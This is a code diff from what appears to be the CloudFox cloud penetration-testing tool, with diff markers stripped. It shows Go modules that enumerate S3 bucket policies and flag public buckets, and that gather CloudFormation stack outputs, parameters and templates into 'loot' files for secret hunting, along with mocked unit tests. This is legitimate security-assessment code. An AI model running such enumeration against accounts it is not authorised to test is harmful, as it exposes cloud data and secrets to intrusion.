Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Buckets []Bucket
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
type Bucket struct {
AWSService string
Region string
Name string
Arn string
AWSService string
Region string
Name string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string, verbosity int) {
@@ -47,15 +58,16 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "buckets"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s] Enumerating buckets for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Enumerating buckets for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -63,13 +75,14 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Bucket)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
wg.Add(1)
@@ -77,39 +90,62 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
go m.executeChecks(wg, semaphore, dataReceiver)
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{"Service", "Region", "Name"}
m.output.Headers = []string{
"Name",
"Region",
"Public?",
"Resource Policy Summary",
}
// Table rows
for i := range m.Buckets {
m.output.Body = append(
m.output.Body,
[]string{
m.Buckets[i].AWSService,
m.Buckets[i].Region,
m.Buckets[i].Name,
m.Buckets[i].Region,
m.Buckets[i].IsPublic,
m.Buckets[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
////m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
fmt.Printf("[%s] %s buckets found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s buckets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Bucket policies written to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s] No buckets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No buckets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *BucketsModule) Receiver(receiver chan Bucket, receiverDone chan bool) {
@@ -130,7 +166,7 @@ func (m *BucketsModule) executeChecks(wg *sync.WaitGroup, semaphore chan struct{
m.CommandCounter.Total++
wg.Add(1)
m.getBuckets(m.output.Verbosity, wg, semaphore, dataReceiver)
m.createBucketsRows(m.output.Verbosity, wg, semaphore, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
}
@@ -170,16 +206,16 @@ func (m *BucketsModule) writeLoot(outputDirectory string, verbosity int, profile
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("Use the commands below to manually inspect certain buckets of interest."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to manually inspect certain buckets of interest."))
fmt.Print(out)
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), pullFile)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), pullFile)
}
func (m *BucketsModule) getBuckets(verbosity int, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Bucket) {
func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Bucket) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
@@ -190,26 +226,105 @@ func (m *BucketsModule) getBuckets(verbosity int, wg *sync.WaitGroup, semaphore
defer func() {
<-semaphore
}()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var r string = "Global"
var region string = "Global"
var name string
ListBuckets, err := m.S3Client.ListBuckets(
context.TODO(),
&s3.ListBucketsInput{},
)
ListBuckets, err := sdk.CachedListBuckets(m.S3Client, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, bucket := range ListBuckets.Buckets {
name = aws.ToString(bucket.Name)
// Send Bucket object through the channel to the receiver
dataReceiver <- Bucket{
for _, b := range ListBuckets {
bucket := &Bucket{
Name: aws.ToString(b.Name),
AWSService: "S3",
Name: name,
Region: r,
}
region, err = sdk.CachedGetBucketLocation(m.S3Client, aws.ToString(m.Caller.Account), aws.ToString(b.Name))
if err != nil {
m.modLog.Error(err.Error())
}
bucket.Region = region
policyJSON, err := sdk.CachedGetBucketPolicy(m.S3Client, aws.ToString(m.Caller.Account), region, aws.ToString(b.Name))
if err != nil {
m.modLog.Error(err.Error())
} else {
bucket.PolicyJSON = policyJSON
}
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
} else {
bucket.Policy = policy
}
bucket.IsPublic = "No"
if !bucket.Policy.IsEmpty() {
m.analyseBucketPolicy(bucket, dataReceiver)
} else {
bucket.Access = "No resource policy"
dataReceiver <- *bucket
}
// Send Bucket object through the channel to the receiver
}
}
func (m *BucketsModule) isPublicAccessBlocked(bucketName string, r string) bool {
publicAccessBlock, err := sdk.CachedGetPublicAccessBlock(m.S3Client, aws.ToString(m.Caller.Account), r, bucketName)
if err != nil {
return false
}
return publicAccessBlock.IgnorePublicAcls
}
func (m *BucketsModule) analyseBucketPolicy(bucket *Bucket, dataReceiver chan Bucket) {
m.storeAccessPolicy(bucket)
if bucket.Policy.IsPublic() && !bucket.Policy.IsConditionallyPublic() && !m.isPublicAccessBlocked(bucket.Name, bucket.Region) {
bucket.IsPublic = "YES"
}
for i, statement := range bucket.Policy.Statement {
var prefix string = ""
if len(bucket.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
bucket.ResourcePolicySummary = bucket.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
bucket.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
bucket.ResourcePolicySummary = strings.TrimSuffix(bucket.ResourcePolicySummary, "\n")
}
dataReceiver <- *bucket
}
func (m *BucketsModule) storeAccessPolicy(bucket *Bucket) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", bucket.Name))
if err := m.storeFile(f, bucket.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *BucketsModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "bucket-policies")
}
func (m *BucketsModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}
+139
View File
@@ -0,0 +1,139 @@
package aws
import (
"context"
"log"
"path/filepath"
"strings"
"testing"
"time"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
type MockedS3Client struct {
}
func (m *MockedS3Client) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
buckets := make([]types.Bucket, 1)
mockBucket := types.Bucket{
CreationDate: aws.Time(time.Now()),
Name: aws.String("mockBucket123"),
}
buckets[0] = mockBucket
output := &s3.ListBucketsOutput{
Buckets: buckets,
}
return output, nil
}
func (m *MockedS3Client) GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error) {
bucketPolicy := `{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AddPerm",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::examplebucket/*"
}
]
}`
output := &s3.GetBucketPolicyOutput{
Policy: aws.String(bucketPolicy),
}
return output, nil
}
func (m *MockedS3Client) GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error) {
locationConstraint := types.BucketLocationConstraint("us-east-2")
output := &s3.GetBucketLocationOutput{
LocationConstraint: locationConstraint,
}
return output, nil
}
func (m *MockedS3Client) GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error) {
output := &s3.GetPublicAccessBlockOutput{
PublicAccessBlockConfiguration: &types.PublicAccessBlockConfiguration{
BlockPublicAcls: true,
BlockPublicPolicy: true,
IgnorePublicAcls: false,
RestrictPublicBuckets: true,
},
}
return output, nil
}
func TestListBuckets(t *testing.T) {
m := BucketsModule{
S3Client: &MockedS3Client{},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
AWSProfile: "unittesting",
Goroutines: 3,
}
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule BucketsModule
expectedResult []Bucket
}{
{
name: "test1",
outputDirectory: ".",
verbosity: 2,
testModule: m,
expectedResult: []Bucket{{
Name: "mockBucket123",
}},
},
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.PrintBuckets(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
for index, expectedBucket := range subtest.expectedResult {
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/buckets.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭───────────────┬───────────┬─────────┬───────────────────────────╮
│ Name │ Region │ Public? │ Resource Policy Summary │
├───────────────┼───────────┼─────────┼───────────────────────────┤
│ mockBucket123 │ us-east-2 │ YES │ Everyone can s3:GetObject │
╰───────────────┴───────────┴─────────┴───────────────────────────╯
`, "\n")
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
if expectedBucket.Name != subtest.testModule.Buckets[index].Name {
log.Fatal("Bucket name does not match expected name")
}
}
})
}
}
+126
View File
@@ -0,0 +1,126 @@
package aws
import (
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
"github.com/aws/aws-sdk-go-v2/service/ecr"
"github.com/aws/aws-sdk-go-v2/service/efs"
"github.com/aws/aws-sdk-go-v2/service/fsx"
"github.com/aws/aws-sdk-go-v2/service/lambda"
"github.com/aws/aws-sdk-go-v2/service/organizations"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
func initIAMSimClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
iamSimMod := IamSimulatorModule{
IAMClient: iamSimPPClient,
Caller: caller,
AWSProfile: AWSProfile,
Goroutines: Goroutines,
}
return iamSimMod
}
func InitCloudFoxSNSClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int, AWSWrapTable bool) SNSModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
cloudFoxSNSClient := SNSModule{
SNSClient: sns.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
}
return cloudFoxSNSClient
}
func initCloudFoxS3Client(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string) BucketsModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
cloudFoxS3Client := BucketsModule{
S3Client: s3.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return cloudFoxS3Client
}
func InitSQSClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) SQSModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
sqsClient := SQSModule{
SQSClient: sqs.NewFromConfig(AWSConfig),
Caller: caller,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
AWSProfile: AWSProfile,
Goroutines: Goroutines,
}
return sqsClient
}
func InitLambdaClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) LambdasModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
lambdaClient := LambdasModule{
LambdaClient: lambda.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return lambdaClient
}
func InitCodeBuildClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) CodeBuildModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
codeBuildClient := CodeBuildModule{
CodeBuildClient: codebuild.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return codeBuildClient
}
func InitECRClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) ECRModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
ecrClient := ECRModule{
ECRClient: ecr.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return ecrClient
}
func InitFileSystemsClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) FilesystemsModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
fileSystemsClient := FilesystemsModule{
EFSClient: efs.NewFromConfig(AWSConfig),
FSxClient: fsx.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return fileSystemsClient
}
func InitOrgClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) OrgModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
orgClient := OrgModule{
OrganizationsClient: organizations.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return orgClient
}
+294
View File
@@ -0,0 +1,294 @@
package aws
import (
"fmt"
"os"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type CloudformationModule struct {
// General configuration data
CloudFormationClient sdk.CloudFormationClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
CFStacks []CFStack
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type CFStack struct {
AWSService string
Region string
Name string
Role string
Outputs []types.Output
Parameters []types.Parameter
Template string
}
func (m *CloudformationModule) PrintCloudformationStacks(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "cloudformation"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating cloudformation stacks for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan CFStack)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"Service",
"Region",
"Name",
"Role",
// "Parameters",
// "Outputs",
}
// Table rows
for i := range m.CFStacks {
// var isParameters string
// var isOutputs string
// if m.CFStacks[i].Parameters != nil {
// isParameters = "Y"
// } else {
// isParameters = "N"
// }
// if m.CFStacks[i].Outputs != nil {
// isOutputs = "Y"
// } else {
// isOutputs = "N"
// }
m.output.Body = append(
m.output.Body,
[]string{
m.CFStacks[i].AWSService,
m.CFStacks[i].Region,
m.CFStacks[i].Name,
m.CFStacks[i].Role,
// isParameters,
// isOutputs,
},
)
}
if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s cloudformation stacks found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No cloudformation stacks found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
if err != nil {
m.modLog.Error(err.Error())
}
for _, serviceRegion := range serviceRegions {
if r == serviceRegion {
m.CommandCounter.Total++
wg.Add(1)
m.createCFStackRowsPerRegion(r, wg, semaphore, dataReceiver)
}
}
}
func (m *CloudformationModule) Receiver(receiver chan CFStack, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.CFStacks = append(m.CFStacks, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
pullFile := filepath.Join(path, "cloudformation-data.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# Look for secrets. Use something like trufflehog")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, stack := range m.CFStacks {
out = out + fmt.Sprintln("=============================================")
out = out + fmt.Sprintf("Stack Name: %s\n\n", stack.Name)
out = out + fmt.Sprintln("Stack Outputs:")
out = out + fmt.Sprintln()
for _, output := range stack.Outputs {
outputDescription := aws.ToString(output.Description)
outputExport := aws.ToString(output.ExportName)
outputKey := aws.ToString(output.OutputKey)
outputValue := aws.ToString(output.OutputValue)
out = out + fmt.Sprintf("Stack Output Description: %s\n", outputDescription)
out = out + fmt.Sprintf("Stack Output Name: %s\n", outputExport)
out = out + fmt.Sprintf("Stack Output Key: %s\n", outputKey)
out = out + fmt.Sprintf("Stack Output Value: %s\n\n", outputValue)
}
out = out + "Stack Parameters:\n\n"
for _, param := range stack.Parameters {
paramKey := aws.ToString(param.ParameterKey)
paramValue := aws.ToString(param.ParameterValue)
out = out + fmt.Sprintf("Stack Parameter Key: %s\n", paramKey)
out = out + fmt.Sprintf("Stack Parameter Value: %s\n\n", paramValue)
}
//out = out + fmt.Sprintf("Stack Parameters:\n %s\n", stack.Parameters)
out = out + fmt.Sprintf("Stack Template:\n %s\n", stack.Template)
out = out + fmt.Sprintln("=============================================")
}
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Look for secrets. Use something like trufflehog"))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Look for secrets. Use something like trufflehog"))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), pullFile)
}
func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
var stackTemplateBody string = ""
DescribeStacks, err := sdk.CachedCloudFormationDescribeStacks(m.CloudFormationClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for _, stack := range DescribeStacks {
stackName := aws.ToString(stack.StackName)
stackRole := aws.ToString(stack.RoleARN)
stackOutputs := stack.Outputs
stackParameters := stack.Parameters
stackTemplateBody, err = sdk.CachedCloudFormationGetTemplate(m.CloudFormationClient, aws.ToString(m.Caller.Account), r, stackName)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
dataReceiver <- CFStack{
AWSService: "cloudformation",
Name: stackName,
Region: r,
Role: stackRole,
Outputs: stackOutputs,
Parameters: stackParameters,
Template: stackTemplateBody,
}
}
}
+120
View File
@@ -0,0 +1,120 @@
package aws
import (
"context"
"encoding/json"
"log"
"testing"
"time"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
"github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
const DESCRIBE_STACKS_TEST_FILE = "./test-data/cloudformation-describestacks.json"
const TEMPLATE_BODY_TEST_FILE = "./test-data/cloudformation-getTemplate.json"
type Stacks struct {
Stacks []struct {
StackID string `json:"StackId"`
Description string `json:"Description"`
Tags []interface{} `json:"Tags"`
Outputs []types.Output `json:"Outputs"`
Parameters []types.Parameter `json:"Parameters"`
StackStatusReason interface{} `json:"StackStatusReason"`
CreationTime time.Time `json:"CreationTime"`
Capabilities []interface{} `json:"Capabilities"`
StackName string `json:"StackName"`
RoleArn string `json:"RoleArn"`
StackStatus string `json:"StackStatus"`
DisableRollback bool `json:"DisableRollback"`
} `json:"Stacks"`
}
type TemplateBody struct {
TemplateBody string `json:"TemplateBody"`
}
type MockedCloudformationClient struct {
describeStacks Stacks
getTemplateBody TemplateBody
}
func (m *MockedCloudformationClient) DescribeStacks(ctx context.Context, params *cloudformation.DescribeStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error) {
err := json.Unmarshal(readTestFile(DESCRIBE_STACKS_TEST_FILE), &m.describeStacks)
if err != nil {
log.Fatalf("can't unmarshall file %s", DESCRIBE_STACKS_TEST_FILE)
}
var stacks []types.Stack
for _, stack := range m.describeStacks.Stacks {
stacks = append(stacks, types.Stack{
StackName: &stack.StackName,
RoleARN: &stack.RoleArn,
Outputs: stack.Outputs,
Parameters: stack.Parameters,
})
}
return &cloudformation.DescribeStacksOutput{Stacks: stacks}, nil
}
func (m *MockedCloudformationClient) GetTemplate(ctx context.Context, params *cloudformation.GetTemplateInput, optFns ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error) {
err := json.Unmarshal(readTestFile(DESCRIBE_STACKS_TEST_FILE), &m.getTemplateBody)
if err != nil {
log.Fatalf("can't unmarshall file %s", TEMPLATE_BODY_TEST_FILE)
}
return &cloudformation.GetTemplateOutput{TemplateBody: &m.getTemplateBody.TemplateBody}, nil
}
func (m *MockedCloudformationClient) ListStacks(ctx context.Context, params *cloudformation.ListStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.ListStacksOutput, error) {
return &cloudformation.ListStacksOutput{}, nil
}
func TestCloudFormation(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule CloudformationModule
expectedResult []CFStack
}{
{
name: "test1",
outputDirectory: ".",
verbosity: 2,
testModule: CloudformationModule{
CloudFormationClient: &MockedCloudformationClient{},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
},
expectedResult: []CFStack{{
Name: "myteststack",
Role: "role123",
}},
},
}
internal.MockFileSystem(true)
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.PrintCloudformationStacks(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
